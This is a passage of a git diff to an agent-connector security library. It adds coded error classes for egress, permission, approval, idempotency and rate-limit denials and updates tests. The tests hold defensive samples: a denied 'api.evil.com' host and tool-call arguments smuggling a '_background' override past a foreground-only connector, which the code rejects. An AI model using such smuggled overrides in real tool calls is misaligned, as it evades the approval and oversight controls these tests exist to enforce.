(hop > maxRedirects) { - throw new TypeError(`egressFetch: exceeded ${maxRedirects} redirects`); + throw new EgressGuardError( + `egressFetch: exceeded ${maxRedirects} redirects`, + { + code: 'EGRESS_REDIRECT_LIMIT_EXCEEDED', + details: { host: normalizeDomain(url.hostname), hop }, + }, + ); } const nextUrl = checkUrl(location, hop, url); headers ??= new (requireGlobal('Headers'))( @@ -410,8 +469,12 @@ export function egressFetch( body = null; for (const name of BODY_HEADER_NAMES) headers.delete(name); } else if (body !== null && isOneShotBody(body)) { - throw new TypeError( + throw new EgressGuardError( 'egressFetch: cannot follow a redirect that re-sends a one-shot (stream) body — buffer the body or handle the 3xx with redirect: "manual"', + { + code: 'EGRESS_REDIRECT_BODY_UNREPLAYABLE', + details: { host: normalizeDomain(nextUrl.hostname), hop }, + }, ); } if (nextUrl.origin !== url.origin) { diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index 50ec2a6e..5abbf6b4 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -1,34 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// Connector SDK — createConnector() wraps Mastra's createTool() with an -// enforced permission manifest. Mastra createTool() has no manifest field -// (its MCP annotations are descriptive only), so the manifest is stripped -// from the config, compiled, and enforced by wrapping execute: -// -// 1. Network egress — declared domains checked against the org allowlist -// 2. Authorization — declared requiredPermissions checked against the -// trusted principal-permissions projection, before the -// dry-run branch and the approval gate; an approval must -// not elevate an unauthorized principal -// 3. Write gate — write-class calls needing approval are denied unless -// the request carries a grant, on every path; Mastra's -// native requireApproval is also compiled so agent runs -// pause for the decision, but it never substitutes for -// the grant -// 4. Idempotency — keyed replay returns the stored result, so retries -// and DO lifecycle boundaries cannot duplicate a side -// effect -// 5. Dry-run — a caller-requested simulation (DRY_RUN_CONTEXT_KEY) -// runs the connector's side-effect-free dryRunExecute; -// connectors that do not declare dry-run support fail -// the request closed instead of executing for real -// 6. Rate limit — a '/' manifest budget enforced against a -// fixed-window counter store; only actual executions -// consume it -// -// Denials throw ConnectorPolicyError; every decision lands in the audit log. -// The manifest carries only fields the wrapper enforces (see -// docs/connector-interface.md). - import { RequestContext } from '@mastra/core/request-context'; import { type PublicSchema, @@ -40,9 +10,21 @@ import type { Tool, ToolExecutionContext } from '@mastra/core/tools'; import { createTool, isValidationError, noopObserve } from '@mastra/core/tools'; import { type AuditLogger, agentAuditDetail } from '../audit/index.js'; import { safeAuditErrorSummary } from '../audit/safe-error.js'; +import { + CONNECTOR_DECISIONS, + type ConnectorDecisionCode, + type ConnectorDenialMetadata, + ConnectorEvaluatorError, + ConnectorInvocationError, + ConnectorPolicyError, + ConnectorStoreError, + ConnectorValidationError, + captureConnectorDenialMetadata, + captureConnectorEvaluatorMetadata, + connectorErrorDecision, +} from '../connector-decision.js'; import type { NetworkEgressOptions, - PolicyDecision, SideEffect, ToolCallContext, ToolPolicyEvaluator, @@ -64,7 +46,11 @@ import { PRINCIPAL_PERMISSIONS_CONTEXT_KEY, } from '../rbac/permission.js'; import type { EgressFetchBase, EgressGuardedFetch } from './egress-fetch.js'; -import { EgressDeniedError, egressFetch } from './egress-fetch.js'; +import { + EgressDeniedError, + EgressGuardError, + egressFetch, +} from './egress-fetch.js'; import { idempotencyStorageKey, isAmbiguousLegacyIdempotencyIdentity, @@ -702,39 +688,6 @@ export const IDEMPOTENCY_KEY_CONTEXT_KEY = 'breakwater.idempotencyKey'; */ export const DRY_RUN_CONTEXT_KEY = 'breakwater.dryRun'; -/** Policy denial raised before a connector side effect is allowed to run. */ -export class ConnectorPolicyError extends Error { - /** Connector ID associated with the denial. */ - readonly connector: string; - /** Name of the policy that denied the call. */ - readonly policy: string; - /** Policy-supplied denial reason. */ - readonly reason: string; - - constructor(connector: string, policy: string, reason: string) { - super(`connector ${connector} denied by ${policy}: ${reason}`); - this.name = 'ConnectorPolicyError'; - this.connector = connector; - this.policy = policy; - this.reason = reason; - } -} - -/** Redacted input or output validation failure from a direct connector call. */ -export class ConnectorValidationError extends Error { - /** Connector whose public Mastra boundary rejected the value. */ - readonly connector: string; - /** Side of the public connector boundary that rejected the value. */ - readonly phase: 'input' | 'output'; - - constructor(connector: string, phase: 'input' | 'output') { - super('connector invocation failed validation'); - this.name = 'ConnectorValidationError'; - this.connector = connector; - this.phase = phase; - } -} - const manifests = new WeakMap(); const DIRECT_INVOCATION_STATE = Symbol('breakwater.direct-invocation-state'); @@ -980,10 +933,6 @@ function hasBackgroundOverride(input: unknown): boolean { ); } -function errorMessage(error: unknown): string { - return error instanceof Error ? error.message : String(error); -} - // The caller's opaque isolation scope (multi-tenant hosts mint their tenant // id; see ISOLATION_SCOPE_CONTEXT_KEY). Used as a KEY SEGMENT only — never // parsed. Absent (or non-string) scope preserves the single-tenant keys @@ -1211,6 +1160,7 @@ export function createConnector( function record( requestContext: RequestContext | undefined, decision: 'allowed' | 'denied' | 'error', + code: ConnectorDecisionCode, extra: { reason?: string; detail?: Record } = {}, action = 'connector.execute', ): void { @@ -1219,6 +1169,8 @@ export function createConnector( action, resource: id, decision, + decisionCode: code, + ...CONNECTOR_DECISIONS[code], reason: extra.reason, detail: agentAuditDetail(requestContext, { sideEffect: manifest.sideEffect, @@ -1227,37 +1179,32 @@ export function createConnector( }); } - // `detail` merges into the denial's audit detail beside `policy` — for - // gates whose audit contract carries more than the policy name (the - // required-permissions gate records requiredPermissions and the policy - // snapshot version on every decision). function deny( requestContext: RequestContext | undefined, policy: string, reason: string, + metadata: ConnectorDenialMetadata, detail: Record = {}, ): never { - record(requestContext, 'denied', { + const error = new ConnectorPolicyError(id, policy, reason, metadata); + record(requestContext, 'denied', error.code, { reason: `${policy}: ${reason}`, - detail: { policy, ...detail }, + detail: { policy, ...error.details, ...detail }, }); - throw new ConnectorPolicyError(id, policy, reason); + throw error; } - // Single audit seam: every path that produces a successful result — a - // fresh execute, a replayed/joined idempotent result, or a dry-run - // simulation — routes through here to record the one 'allowed' audit - // event, instead of duplicating that call at each site. There is no - // post-execute policy stage today: retention and isolation - // (crossWorkflowIsolation, tenantIsolation) are PRE-execute evaluators run - // from the `gates` loop above, before execute — nothing currently gates - // the result of a call. function finishAllowed( requestContext: RequestContext | undefined, result: TOutput, detail?: Record, ): TOutput { - record(requestContext, 'allowed', detail ? { detail } : {}); + record( + requestContext, + 'allowed', + 'CONNECTOR_ALLOWED', + detail ? { detail } : {}, + ); return result; } @@ -1266,18 +1213,9 @@ export function createConnector( // them as 'execute threw' when they propagate out through the attempt. const auditedErrors = new WeakSet(); - // The WeakSet can only hold objects, so a primitive throw from a custom - // store is wrapped once (message preserved, original on `cause`) and the - // WRAPPER is what propagates — otherwise audit-once breaks and the same - // store crash records a second, misattributed 'execute threw' event. - function markAudited(error: unknown): unknown { - if (typeof error === 'object' && error !== null) { - auditedErrors.add(error); - return error; - } - const wrapped = new Error(errorMessage(error), { cause: error }); - auditedErrors.add(wrapped); - return wrapped; + function markAudited(error: T): T { + auditedErrors.add(error); + return error; } function recordExecuteError( @@ -1302,17 +1240,22 @@ export function createConnector( return; } const safe = safeAuditErrorSummary(error); - record(requestContext, 'error', { - reason: safe?.reason ?? 'connector execution failed', - detail: { stage: 'execute', ...safe?.detail, ...detail }, - }); + record( + requestContext, + 'error', + connectorErrorDecision(error)?.code ?? 'CONNECTOR_EXECUTION_FAILED', + { + reason: safe?.reason ?? 'connector execution failed', + detail: { stage: 'execute', ...safe?.detail, ...detail }, + }, + ); } function recordOutputValidationError( requestContext: RequestContext | undefined, detail: Record = {}, ): void { - record(requestContext, 'error', { + record(requestContext, 'error', 'CONNECTOR_OUTPUT_INVALID', { reason: 'connector output validation failed', detail: { stage: 'output-validation', ...detail }, }); @@ -1352,16 +1295,6 @@ export function createConnector( } } - // Budget counts ACTUAL executions: denied calls, cached replays, and - // shared in-flight joins never consume it — hence an internal gate invoked - // immediately before each config.execute call site (reserve-keyed, - // legacy-keyed, plain), not a pre-execute evaluator. Audits exactly once: - // a denial goes through deny(), and a store crash is recorded here as - // 'rate-limit-store' and marked so recordExecuteError never re-records it - // as 'execute threw' when it propagates out of a keyed attempt. - // Fixed-window semantics: counts bucket into epoch-aligned windows, so a - // burst may span two adjacent windows; simplest correct budget for a - // per-connector cap. async function consumeRateLimit( requestContext: RequestContext | undefined, ): Promise { @@ -1392,27 +1325,37 @@ export function createConnector( ); } catch (error) { // Fail closed: an unbudgeted execution would break the declared cap. - record(requestContext, 'error', { + const failure = new ConnectorStoreError(id, 'rate-limit', 'increment', { + cause: error, + }); + record(requestContext, 'error', failure.code, { reason: 'rate-limit store increment failed', detail: { stage: 'rate-limit-store' }, }); - throw markAudited(error); + throw markAudited(failure); } if (count > rateLimit.limit) { - deny(requestContext, 'rate-limit', `exceeded ${manifest.rateLimit}`); + deny(requestContext, 'rate-limit', `exceeded ${manifest.rateLimit}`, { + code: 'RATE_LIMIT_EXCEEDED', + details: { limit: rateLimit.limit, windowMs: rateLimit.windowMs }, + }); } } function recordStoreError( requestContext: RequestContext | undefined, op: 'get' | 'inspect' | 'put' | 'reserve' | 'release', - _error: unknown, + error: unknown, key: string, - ): void { - record(requestContext, 'error', { + ): ConnectorStoreError { + const failure = new ConnectorStoreError(id, 'idempotency', op, { + cause: error, + }); + record(requestContext, 'error', failure.code, { reason: `idempotency store ${op} failed`, detail: { stage: 'idempotency-store', idempotencyKey: key }, }); + return failure; } // Join a same-isolate in-flight attempt for the same key. Await before @@ -1506,60 +1449,33 @@ export function createConnector( const toolCallId = context.agent?.toolCallId ?? directInvocation?.toolCallId; - // _background model-override defense (DL-005), FIRST — before the gates, - // the dry-run branch, and any execute. A `_background` field in the args - // asks the runtime to flip this call to background execution, a topology - // change a foreground-only connector must never take. Reject its presence - // outright unless the manifest opts in (read-only tools only, enforced at - // construction). Same argv-flag-smuggling posture as agent-cli buildFlags; - // fires for BOTH execute and dryRunExecute (both route through here). - // - // REACH (accuracy): this is DEFENSE-IN-DEPTH for direct / nested programmatic - // calls, NOT the agent-path guard. On the AGENT path core deletes - // `_background` from the tool-call args before dispatch (`delete args - // ._background`), UNCONDITIONALLY — schema or not — so this presence check - // sees clean args and fires on nothing there. What actually stops the model - // backgrounding a call on the agent path is core's OWN `resolveBackgroundConfig` - // baseEnabled gate: a breakwater connector sets no background config, so the - // tool is ineligible and the override cannot enable it. This check's - // independent teeth are direct / nested calls that hand args straight to - // execute, bypassing core's agent dispatch (and its stripping) entirely. And - // on EVERY path — including inside the background executor — the real write - // boundary is the requestContext GRANT gate below, not this check. The - // `backgroundExecution` tool-policy evaluator is the same defense-in-depth at - // the gate loop. if (!manifest.background && hasBackgroundOverride(inputData)) { deny( requestContext, 'background', `tool-call args carry a '${LLM_BACKGROUND_OVERRIDE_KEY}' override but this connector is foreground-only (the manifest does not opt into background execution)`, + { code: 'BACKGROUND_OVERRIDE_DENIED' }, ); } - // The base egress guard is built once at construction; this per-call - // wrapper binds only this call's requestContext so an egress denial - // audits under it. The org allowlist already gated the DECLARED egress - // list (the networkEgress evaluator below); the guard pins the - // connector's ACTUAL requests to that list — redirect hops included. No - // declared egress means the guard denies all network. The denial audit - // fires here at the guard boundary, guaranteed even if the connector - // swallows the ConnectorPolicyError (recordExecuteError early-returns on - // this connector's own ConnectorPolicyError, so it is never re-recorded). const runtime: ConnectorRuntime = { fetch: async (input, init) => { try { return await baseEgressGuard(input, init); } catch (error) { - if (error instanceof EgressDeniedError) { - record(requestContext, 'denied', { - reason: `egress-fetch: ${error.reason}`, - detail: { - policy: 'egress-fetch', - host: error.host, - hop: error.hop, - }, - }); - throw new ConnectorPolicyError(id, 'egress-fetch', error.reason); + if ( + error instanceof EgressDeniedError || + error instanceof EgressGuardError + ) { + deny( + requestContext, + 'egress-fetch', + error instanceof EgressDeniedError ? error.reason : error.message, + captureConnectorDenialMetadata({ + code: error.code, + details: error.details, + }), + ); } throw error; } @@ -1575,33 +1491,33 @@ export function createConnector( requestContext, }; for (const gate of gates) { - let decision: PolicyDecision; + let refusal: + | { reason: string; metadata: ConnectorDenialMetadata } + | undefined; try { - decision = await gate.evaluate(toolCall); + const decision = await gate.evaluate(toolCall); + if (!decision.allowed) { + refusal = { + reason: decision.reason, + metadata: captureConnectorEvaluatorMetadata(decision), + }; + } } catch (error) { - // Mirror PolicyEngine: an evaluator crash must not leave less - // audit evidence than a denial. Record, then fail closed. - record(requestContext, 'error', { + const failure = new ConnectorEvaluatorError(id, gate.name, { + cause: error, + }); + record(requestContext, 'error', failure.code, { reason: `${gate.name} evaluator failed`, detail: { policy: gate.name }, }); - throw error; + throw markAudited(failure); } - if (!decision.allowed) { - deny(requestContext, gate.name, decision.reason); + if (refusal) { + deny(requestContext, gate.name, refusal.reason, refusal.metadata); } } } - // Authorization before capability (roadmap §9): required permissions ask - // WHO may invoke this connector at all, so the gate runs before the - // dry-run branch (a simulation still needs an authorized principal) and - // before the approval-grant gate (a valid approval must not elevate an - // otherwise unauthorized principal). Its input is the trusted - // `breakwater.principalPermissions` projection, mintable only by host/ - // runtime code — a missing or malformed projection fails closed. Audit - // records the required identifiers and the policy snapshot version, - // never the principal's effective permission set. if (manifest.requiredPermissions !== undefined) { const required = manifest.requiredPermissions; const projection = requestContext?.get(PRINCIPAL_PERMISSIONS_CONTEXT_KEY); @@ -1610,24 +1526,36 @@ export function createConnector( requestContext, 'required-permissions', 'no valid principal permission projection is present; only a trusted host may mint it', + { + code: 'PERMISSION_PROJECTION_INVALID', + details: { requiredPermissions: required }, + }, { requiredPermissions: required, permissionPolicyVersion: null }, ); } const effective = new Set(projection.permissions); - if (!required.every((permission) => effective.has(permission))) { + const missingPermissions = required.filter( + (permission) => !effective.has(permission), + ); + if (missingPermissions.length > 0) { deny( requestContext, 'required-permissions', 'required permissions are not satisfied', { - requiredPermissions: required, - permissionPolicyVersion: projection.policyVersion, + code: 'PERMISSION_MISSING', + details: { + requiredPermissions: required, + missingPermissions, + permissionPolicyVersion: projection.policyVersion, + }, }, ); } record( requestContext, 'allowed', + 'PERMISSION_GRANTED', { reason: 'required permissions are satisfied', detail: { @@ -1649,7 +1577,9 @@ export function createConnector( // gates above still applied. const simulate = config.dryRunExecute; if (!manifest.dryRun || !simulate) { - deny(requestContext, 'dry-run', 'connector does not support dry-run'); + deny(requestContext, 'dry-run', 'connector does not support dry-run', { + code: 'DRY_RUN_UNSUPPORTED', + }); } try { const result = await simulate(typedInput, context, runtime); @@ -1686,11 +1616,13 @@ export function createConnector( requestContext, 'write-permissions', 'approval required and no matching structured grant was found', + { code: 'APPROVAL_GRANT_MISSING' }, ); } record( requestContext, 'allowed', + 'APPROVAL_GRANTED', { reason: 'structured approval grant matched', detail: { @@ -1721,6 +1653,7 @@ export function createConnector( requestContext, 'idempotency', `manifest requires an idempotency key; set requestContext '${IDEMPOTENCY_KEY_CONTEXT_KEY}'`, + { code: 'IDEMPOTENCY_KEY_MISSING' }, ); } // Replay-cache key segments by isolation scope: metamind's canonical @@ -1749,8 +1682,10 @@ export function createConnector( try { return await keyedFlow(requestContext, storageKey, key, async () => { let legacy: IdempotencyInspection; + let inspectionOperation: 'get' | 'inspect' = 'get'; try { if (isInspectableStore(store)) { + inspectionOperation = 'inspect'; legacy = await store.inspect(legacyKey); } else { const record = await store.get(legacyKey); @@ -1759,8 +1694,9 @@ export function createConnector( : { state: 'absent' }; } } catch (error) { - recordStoreError(requestContext, 'inspect', error, key); - throw markAudited(error); + throw markAudited( + recordStoreError(requestContext, inspectionOperation, error, key), + ); } if (legacy.state !== 'absent') { if (ambiguousLegacyKey) { @@ -1768,6 +1704,7 @@ export function createConnector( requestContext, 'idempotency-key-migration', 'an ambiguous legacy idempotency record exists for this tuple; map it externally to exactly one v2 identity before retrying', + { code: 'IDEMPOTENCY_LEGACY_AMBIGUOUS' }, ); } if (legacy.state === 'replay') { @@ -1781,6 +1718,7 @@ export function createConnector( requestContext, 'idempotency', 'a legacy execution for this key is in progress; retry to replay its result', + { code: 'IDEMPOTENCY_CONFLICT' }, ); } if (policies.idempotencyKeyMigration !== 'legacy-writers-drained') { @@ -1788,6 +1726,7 @@ export function createConnector( requestContext, 'idempotency-key-migration', `the legacy key is absent but v2 execution is disabled until policies.idempotencyKeyMigration acknowledges that every legacy writer sharing this store has been stopped and drained`, + { code: 'IDEMPOTENCY_MIGRATION_REQUIRED' }, ); } @@ -1801,8 +1740,9 @@ export function createConnector( // safe and preserves replay protection for the retry. Marked // audited: joined twins rethrow it via joinInflight, and // recordExecuteError must not re-record it as 'execute threw'. - recordStoreError(requestContext, 'reserve', error, key); - throw markAudited(error); + throw markAudited( + recordStoreError(requestContext, 'reserve', error, key), + ); } if (reservation.state === 'replay') { return { @@ -1820,6 +1760,7 @@ export function createConnector( requestContext, 'idempotency', 'another execution for this key is in progress; retry to replay its result', + { code: 'IDEMPOTENCY_CONFLICT' }, ); } if (reservation.tookOver) { @@ -1828,7 +1769,7 @@ export function createConnector( // not dead, if pendingTtlMs was set too low relative to the real // execute duration (agent-cli's definition-time guard checks // this; other connectors must size the store's TTL themselves). - record(requestContext, 'allowed', { + record(requestContext, 'allowed', 'IDEMPOTENCY_TAKEOVER', { reason: 'stale-pending idempotency reservation taken over; the previous holder may still be executing', detail: { idempotencyKey: key, tookOver: true }, @@ -1846,13 +1787,6 @@ export function createConnector( // The consume stays INSIDE the attempt so denied calls, replays, // and joins never spend budget; single-audit of rate failures is // handled by deny()/auditedErrors. - // Accepted ordering quirk (audit D5, deliberate): reserve() runs - // BEFORE the rate-limit check, so a concurrent cross-isolate call - // for this same key that arrives while THIS attempt is later - // denied by the rate limit (and its reservation released) sees - // 'pending' and is denied 'idempotency' rather than 'rate-limit' — - // a transient misattribution in the audit reason, self-correcting - // on retry, with no duplicated side effect. Not fixed. const attempt = (async () => { try { await consumeRateLimit(requestContext); @@ -1869,13 +1803,9 @@ export function createConnector( token, ); } catch (error) { - // The side effect already succeeded; failing the call now - // would invite a retry that re-executes it — the exact - // duplication this store exists to prevent. Deliver the - // result and surface the degraded replay protection in the - // audit log. The reservation is deliberately NOT released: a - // pending row blocks duplicates until the stale-pending TTL, - // safer than inviting an immediate re-execute. + // Returning the completed result avoids a retry that repeats + // its side effect. The pending reservation prevents immediate + // duplicate execution while replay persistence is unavailable. recordStoreError(requestContext, 'put', error, key); } return validatedResult; @@ -1915,8 +1845,9 @@ export function createConnector( // Fail closed: nothing has executed yet, so failing the call is // safe and preserves replay protection for the retry. Marked // audited so joined twins do not re-record it (see reserve probe). - recordStoreError(requestContext, 'get', error, key); - throw markAudited(error); + throw markAudited( + recordStoreError(requestContext, 'get', error, key), + ); } if (cached) { return { @@ -2120,7 +2051,9 @@ export async function invokeConnector( connector === null || !manifests.has(connector) ) { - throw new TypeError( + throw new ConnectorInvocationError( + undefined, + 'CONNECTOR_UNREGISTERED', 'invokeConnector requires a connector created by createConnector()', ); } @@ -2129,12 +2062,16 @@ export async function invokeConnector( !invocation || !isConnectorInvocationBoundaryCurrent(connector, invocation) ) { - throw new TypeError( + throw new ConnectorInvocationError( + invocation?.id, + 'CONNECTOR_BOUNDARY_MODIFIED', 'invokeConnector refuses a connector whose execution boundary was modified after construction', ); } if (options.toolCallId !== undefined && !nonEmptyString(options.toolCallId)) { - throw new TypeError( + throw new ConnectorInvocationError( + invocation.id, + 'CONNECTOR_INVOCATION_OPTIONS_INVALID', 'invokeConnector toolCallId must be a non-empty string when provided', ); } @@ -2173,13 +2110,36 @@ export async function invokeConnector( throw new ConnectorValidationError(invocation.id, 'input'); } if (!state.entered) { - throw new TypeError( + throw new ConnectorInvocationError( + invocation.id, + 'CONNECTOR_BOUNDARY_UNVERIFIABLE', 'invokeConnector could not verify the connector enforcement boundary', ); } return result as TOutput; } +export type { + ConnectorDecisionCode, + ConnectorDecisionDetails, + ConnectorDenialCode, + ConnectorDenialMetadata, + ConnectorInvocationCode, + ConnectorPolicyName, + ConnectorStoreName, + ConnectorStoreOperation, +} from '../connector-decision.js'; +export { + CONNECTOR_DECISIONS, + ConnectorEvaluatorError, + ConnectorInvocationError, + ConnectorPolicyError, + ConnectorStoreError, + ConnectorValidationError, + connectorDecisionRetryable, + isConnectorDecisionCode, +} from '../connector-decision.js'; + export type { D1IdempotencyStoreOptions, IdempotencyBatchDatabase, @@ -2202,13 +2162,18 @@ export type { EgressFetchBase, EgressFetchOptions, EgressGuardedFetch, + EgressGuardMetadata, EgressRequestInit, EgressResponse, EgressResponseHeaders, } from './egress-fetch.js'; // Fetch-level egress enforcement (own module; createConnector wires it per // call as ConnectorRuntime.fetch, but it also works standalone). -export { EgressDeniedError, egressFetch } from './egress-fetch.js'; +export { + EgressDeniedError, + EgressGuardError, + egressFetch, +} from './egress-fetch.js'; export type { SingleTenantAuditPosture, SingleTenantConnectorPolicies, diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts index a84e3039..6faa218d 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts @@ -1,11 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 import { RequestContext } from '@mastra/core/request-context'; import type { Tool, ToolExecutionContext } from '@mastra/core/tools'; -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { AuditLogger } from '../audit/index.js'; import { backgroundExecution, + networkEgress, tenantIsolation, } from '../policy-engine/index.js'; import { @@ -510,7 +511,47 @@ describe('singleTenantConnectorPolicies', () => { connector.execute?.({}, { requestContext: new RequestContext(), } as ToolExecutionContext), - ).rejects.toMatchObject({ policy: 'always-deny' }); + ).rejects.toMatchObject({ + policy: 'always-deny', + code: 'EVALUATOR_DENIED', + policyKind: 'evaluator', + retryable: false, + }); expect(reads).toBe(1); }); + + it('retains built-in decision metadata through the bound evaluator snapshot', async () => { + const evaluator = networkEgress({ + allowedDomains: [], + name: 'organization-check', + }); + const policies = singleTenantConnectorPolicies({ + audit: { mode: 'development', allowUnaudited: true }, + egress: { allowedDomains: ['api.example.com'] }, + permissions: { principalPermissions: 'not-configured' }, + evaluators: [evaluator], + }); + evaluator.evaluate = () => ({ allowed: true }); + const execute = vi.fn(async () => ({ ok: true })); + const connector = createConnector({ + id: 'records.coded-snapshot', + description: 'Read one remote record', + permissions: { sideEffect: 'read', egress: ['api.example.com'] }, + policies, + execute, + }); + + await expect( + connector.execute?.({}, { + requestContext: new RequestContext(), + } as ToolExecutionContext), + ).rejects.toMatchObject({ + policy: 'organization-check', + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + policyKind: 'network-egress', + retryable: false, + details: { declaredHost: 'api.example.com' }, + }); + expect(execute).not.toHaveBeenCalled(); + }); }); diff --git a/packages/breakwater/src/index.ts b/packages/breakwater/src/index.ts index e6738fce..df1227e4 100644 --- a/packages/breakwater/src/index.ts +++ b/packages/breakwater/src/index.ts @@ -64,16 +64,25 @@ export type { ConnectorApprovalGrantBase, ConnectorApprovalSuspension, ConnectorConfig, + ConnectorDecisionCode, + ConnectorDecisionDetails, + ConnectorDenialCode, + ConnectorDenialMetadata, ConnectorExecutionIdentity, + ConnectorInvocationCode, ConnectorInvocationOptions, ConnectorPolicies, + ConnectorPolicyName, ConnectorRuntime, + ConnectorStoreName, + ConnectorStoreOperation, D1IdempotencyStoreOptions, D1RateLimitStoreOptions, EgressDenial, EgressFetchBase, EgressFetchOptions, EgressGuardedFetch, + EgressGuardMetadata, EgressRequestInit, EgressResponse, EgressResponseHeaders, @@ -101,22 +110,29 @@ export type { SingleTenantPermissionPosture, } from './connector-sdk/index.js'; export { + CONNECTOR_DECISIONS, CONNECTOR_EXECUTION_CONTEXT_KEY, CONNECTOR_GRANTS_CONTEXT_KEY, + ConnectorEvaluatorError, + ConnectorInvocationError, ConnectorPolicyError, + ConnectorStoreError, ConnectorValidationError, + connectorDecisionRetryable, connectorManifest, createConnector, D1IdempotencyStore, D1RateLimitStore, DRY_RUN_CONTEXT_KEY, EgressDeniedError, + EgressGuardError, egressFetch, IDEMPOTENCY_KEY_CONTEXT_KEY, InMemoryIdempotencyStore, InMemoryRateLimitStore, inspectLegacyConnectorIdempotency, invokeConnector, + isConnectorDecisionCode, migrateLegacyConnectorIdempotency, singleTenantConnectorPolicies, } from './connector-sdk/index.js'; diff --git a/packages/breakwater/src/policy-engine/tool-policy.test.ts b/packages/breakwater/src/policy-engine/tool-policy.test.ts index fc1f9562..4c81982d 100644 --- a/packages/breakwater/src/policy-engine/tool-policy.test.ts +++ b/packages/breakwater/src/policy-engine/tool-policy.test.ts @@ -2,6 +2,10 @@ import { RequestContext } from '@mastra/core/request-context'; import { describe, expect, it } from 'vitest'; +import { + CONNECTOR_DECISIONS, + connectorDecisionRetryable, +} from '../connector-decision.js'; import { approvalRequired, backgroundExecution, @@ -21,6 +25,75 @@ function call( return { connectorId: 'salesforce.export', sideEffect, egress, input: {} }; } +describe('tool policy decision metadata', () => { + const callerContext = new RequestContext(); + callerContext.set(WORKFLOW_SCOPE_CONTEXT_KEY, 'private-caller'); + + it.each([ + { + evaluator: networkEgress({ allowedDomains: [], name: 'custom-label' }), + context: call(['API.EXAMPLE.COM.']), + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + policyKind: 'network-egress', + details: { declaredHost: 'api.example.com' }, + }, + { + evaluator: crossWorkflowIsolation({ + name: 'custom-label', + targetScopeOf: () => 'private-target', + }), + context: call([]), + code: 'WORKFLOW_SCOPE_MISSING', + policyKind: 'cross-workflow-isolation', + details: undefined, + }, + { + evaluator: crossWorkflowIsolation({ + name: 'custom-label', + targetScopeOf: () => 'private-target', + }), + context: { + ...call([]), + requestContext: callerContext, + }, + code: 'CROSS_WORKFLOW_ACCESS_DENIED', + policyKind: 'cross-workflow-isolation', + details: undefined, + }, + { + evaluator: tenantIsolation({ name: 'custom-label' }), + context: call([]), + code: 'ISOLATION_SCOPE_MISSING', + policyKind: 'tenant-isolation', + details: undefined, + }, + { + evaluator: backgroundExecution({ name: 'custom-label' }), + context: { ...call([], 'write'), input: { _background: {} } }, + code: 'BACKGROUND_EXECUTION_DENIED', + policyKind: 'background-execution', + details: undefined, + }, + ])('keeps $code independent of its diagnostic name', async ({ + evaluator, + context, + code, + policyKind, + details, + }) => { + const decision = await evaluator.evaluate(context); + + expect(evaluator.name).toBe('custom-label'); + expect(decision).toMatchObject({ allowed: false, code }); + if (decision.allowed || decision.code === undefined) { + throw new Error('expected a coded denial'); + } + expect(decision.details).toEqual(details); + expect(CONNECTOR_DECISIONS[decision.code].policyKind).toBe(policyKind); + expect(connectorDecisionRetryable(decision.code)).toBe(false); + }); +}); + describe('networkEgress', () => { it('allows declared domains on the allowlist', async () => { // #given @@ -38,6 +111,8 @@ describe('networkEgress', () => { expect(await policy.evaluate(call(['api.evil.com']))).toEqual({ allowed: false, reason: expect.stringContaining('api.evil.com'), + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + details: { declaredHost: 'api.evil.com' }, }); }); @@ -286,6 +361,7 @@ describe('crossWorkflowIsolation', () => { ).toEqual({ allowed: false, reason: "workflow 'wf-a' may not access state of 'wf-b'", + code: 'CROSS_WORKFLOW_ACCESS_DENIED', }); }); @@ -295,7 +371,7 @@ describe('crossWorkflowIsolation', () => { // #when / #then expect( await policy.evaluate(scopedCall({ input: { workflowId: 'wf-a' } })), - ).toMatchObject({ allowed: false }); + ).toMatchObject({ allowed: false, code: 'WORKFLOW_SCOPE_MISSING' }); }); it('fails closed on a non-string scope value', async () => { @@ -305,7 +381,7 @@ describe('crossWorkflowIsolation', () => { await policy.evaluate( scopedCall({ scope: ['wf-a'], input: { workflowId: 'wf-a' } }), ), - ).toMatchObject({ allowed: false }); + ).toMatchObject({ allowed: false, code: 'WORKFLOW_SCOPE_MISSING' }); }); }); @@ -344,6 +420,7 @@ describe('tenantIsolation', () => { // could never reach it) expect(await policy.evaluate(scopedCall(scope))).toMatchObject({ allowed: false, + code: 'ISOLATION_SCOPE_MISSING', }); }); @@ -380,7 +457,7 @@ describe('backgroundExecution', () => { await policy.evaluate( bgCall(sideEffect, { topic: 'x', _background: { enabled: true } }), ), - ).toMatchObject({ allowed: false }); + ).toMatchObject({ allowed: false, code: 'BACKGROUND_EXECUTION_DENIED' }); }); it('denies when _background is present with enabled undefined (defaults to background when eligible)', async () => { @@ -388,7 +465,7 @@ describe('backgroundExecution', () => { // enabled it; deny-by-default treats the bare override as a background enable expect( await policy.evaluate(bgCall('write', { _background: { timeoutMs: 5 } })), - ).toMatchObject({ allowed: false }); + ).toMatchObject({ allowed: false, code: 'BACKGROUND_EXECUTION_DENIED' }); }); it('allows a write-class call that explicitly forces FOREGROUND (enabled:false)', async () => { diff --git a/packages/breakwater/src/policy-engine/tool-policy.ts b/packages/breakwater/src/policy-engine/tool-policy.ts index 30eb86fd..510c0745 100644 --- a/packages/breakwater/src/policy-engine/tool-policy.ts +++ b/packages/breakwater/src/policy-engine/tool-policy.ts @@ -8,6 +8,7 @@ // See docs/policy-engine-design.md. import type { RequestContext } from '@mastra/core/request-context'; +import type { ConnectorDenialMetadata } from '../connector-decision.js'; /** * Decision shape shared by both policy seams (agent-boundary evaluators in @@ -19,12 +20,12 @@ export type PolicyDecision = /** Allow the operation. */ allowed: true; } - | { + | ({ /** Deny the operation. */ allowed: false; /** Human-readable denial reason suitable for audit records. */ reason: string; - }; + } & (ConnectorDenialMetadata | { code?: undefined; details?: undefined })); /** Side-effect classification a connector declares in its manifest. */ export type SideEffect = 'read' | 'write' | 'destructive' | 'idempotent'; @@ -45,7 +46,7 @@ export interface ToolCallContext { /** 